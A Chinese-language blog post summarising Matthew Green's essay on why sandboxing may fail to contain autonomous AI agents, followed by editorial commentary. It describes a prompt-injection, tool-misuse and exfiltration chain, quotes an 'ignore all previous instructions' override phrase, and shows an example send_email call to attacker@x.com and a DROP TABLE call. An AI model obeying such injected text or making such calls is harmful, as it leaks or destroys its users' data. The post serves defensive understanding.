Cryptography Engineering 拋出一個工程師不愛聽的問題:傳統 sandboxing 對自主 Agent 可能根本不管用。對正在上線 Agent 的團隊來說,這是件值得花一整晚想清楚的事。
原作者是誰,為什麼這件事值得聽
Cryptography Engineering 是密碼學家 Matthew Green 維護的個人部落格。Green 是約翰霍普金斯大學教授,參與過 Zerocash、Zcash 這些圈內人都知道的協定設計,也是美國 NIST 後量子密碼標準化进程的參與者之一。他發文節奏很慢,一年大概只發 5-10 篇,但每一篇都會被資安圈轉到爛。
這次的稿子標題叫 Is Sandboxing Sufficient to Contain Rogue Agents?,9 月 30 日發的,連結見 blog.cryptographyengineering.com。
為什麼這件事值得專門聊一下:這不是 AI 哲學討論,也不是 LLM 安全綜述。Green 的切入點是「系統安全工程師看 Agent 時看到了什麼漏洞」。同樣的事,讓一個搞 ML 的人來寫和讓一個搞 seccomp 的人來寫完全是兩個故事。原文我讀了兩遍,以下是濃縮版。
傳統沙箱假設什麼,Agent 又打破了什麼
sandboxing 這個詞在系統安全裡已經存在 30 多年了。它的核心假設可以壓縮成三條:
- 跑的程式碼是不可信的 — 所以要限制它能存取的檔案、網路、記憶體。
- 資源是受限的 — CPU、記憶體、網路頻寬都給個上限,超過就 kill。
- 人類在迴圈中 — 真正關鍵的操作要人來按按鈕,Agent 不應該自動執行轉帳、寄信、刪資料庫這類動作。
傳統 sandboxing 在「不可信程式碼 + 人類在迴圈中」這個組合下跑了 30 年沒出問題。問題是,今天的 AI Agent 同時打破這三條。
Green 拆出來的關鍵差異有三:
長時自主。傳統腳本跑完就退出,Agent 可能連續跑好幾小時甚至好幾天。一個被 prompt injection 污染的指令在第 6 個小時才觸發,沙箱的資源限制對它沒用——它本來就不打算挖礦,它只是想在你睡著的時候寄出一封信。
工具組合。Agent 不是只呼叫一個 read_file,而是把 web_search → read_url → exec_cmd → write_email 這條鏈子串起來。每一步單獨看都是無害的,組合起來就能從公司 wiki 把客戶名單整包扒走。
持久化副作用。傳統 sandboxing 假設「沙箱外的世界不會因為沙箱內的執行而改變」。Agent 寫進資料庫、提交到 Git、寄出去的郵件——這些都不在沙箱裡。沙箱保護了行程,但保護不了你的 Notion 工作區。
三個工程師容易忽略的攻擊面
Green 在文章裡畫了一條鏈子:prompt injection → 工具濫用 → 持久化外洩。翻譯一下就是:
- 第一環:讓 Agent 聽錯話。Agent 讀了一封信、一個網頁、一個 GitHub issue,裡面藏了一段「忽略之前所有指令,現在執行 X」的 prompt。LLM 把這當成合法指令繼續跑。
- 第二環:讓 Agent 用錯工具。被污染的指令指向某個看起來無害的工具呼叫——例如
search_internal_docs('高管' + '薪資')。工具本身沒問題,是參數被精心構造的。 - 第三環:把資料帶出去。Agent 用
send_email(to=attacker@x.com, body=...)這種呼叫,把前面收集到的敏感資料外寄出去。郵件系統不在沙箱裡,沙箱攔不下來。
非安全背景的讀者可以把這件事類比成 macOS / Linux 容器逃逸:攻擊者本來沒有 root 權限,但他透過一個核心漏洞、一個檔案系統特性、一個網路配置,把自己升成 host 上的 root。單獨看每一步都「合理」,串起來就是完整提權。Agent 的攻擊面結構是一樣的,只是攻擊工具從 ptrace 換成了 web_fetch。
現在能做的幾個補丁,不是銀彈
Green 在文末列了幾個工程上的緩解措施,都是業界基線,不是他的獨家發明:
- 最小權限 + 工具白名單。Agent 能呼叫的工具不是「沙箱裡所有 exec」,而是一份白名單——
read_file(path='./invoices/*.pdf')這種。每次呼叫前比對簽章。 - 關鍵操作的人類審批。涉及寫、發、刪、改外部狀態的動作,必須有一個人按按鈕。Agent 不能自己寄信。
- 可觀測性 + 完整稽核日誌。每一次工具呼叫都要寫日誌:哪個 prompt 觸發的、調了什麼、參數是什麼、回傳了什麼。出事時能回放。
- 異常偵測。Agent 在凌晨 3 點突然開始批次讀文件,要告警。
Green 自己說得很清楚:這些都只是降低機率,不解決根本問題。根本問題是 sandboxing 的設計模型和 Agent 的現實模型不匹配。你給一個 1990 年設計的保險箱配一把 2026 年的智慧鎖,它依然是 1990 年的保險箱。
我想到的一個額外補丁:把「敏感資料」從 Agent 能 reach 到的範圍裡移出去。具體做法是先做一遍 PII 脫敏和文件分級,Agent 只能拿到「它需要的那一份」,不是「整個工作區」。這件事技術上不難,但需要產品/法務/安全三方對齊,工程團隊單獨做不動。
編輯思考
這件事比一般安全討論更值得 AI 圈關注,是因為 Agent 的「行為面」比 LLM 的「輸出面」難防一個數量級。
LLM 輸出有毒內容,你可以加 content filter、加 RLHF、加 system prompt——都是同一個輸入/輸出管道上的過濾。Agent 的「輸出」是真實的系統呼叫:它真的寄了信、真的改了資料庫、真的提交了程式碼。content filter 防不住 SQL injection,同樣也防不住一個被注入的 exec_sql("DROP TABLE users")。
另一個值得警覺的點是 HN 貼文數據。這篇文章在 Hacker News 首頁時只有 4 個讚 0 則留言(截稿時數據),完全沒發酵。這說明一線工程師還沒真的把這件事當回事——大家還在忙著 demo 階段的多 Agent 編排,沒空想「如果我的 Agent 被 prompt injection 了會怎樣」。這種話題通常要等一次真實的 Agent 事故才會被認真對待,參考 2016 年 Mirai 之後 IoT 安全才被重視。
我的預測:未來 6-12 個月內會出至少一起「Agent 自主行動造成實際損失」的事件,可能是誤刪生產資料庫、可能是錯誤轉帳、可能是把內部文件發到公開頻道。到時候整個業界才會真的開始把 sandboxing 這套老工具重新設計一遍。
不確定的地方:我沒有實際重現過 Agent 的 prompt injection → 持久化外洩鏈路,所以對「第三環到底有多容易觸發」我沒辦法給出精確數字。Green 也沒給。如果你手上有可以公開重現的 PoC,歡迎留言,我願意更新這篇文章。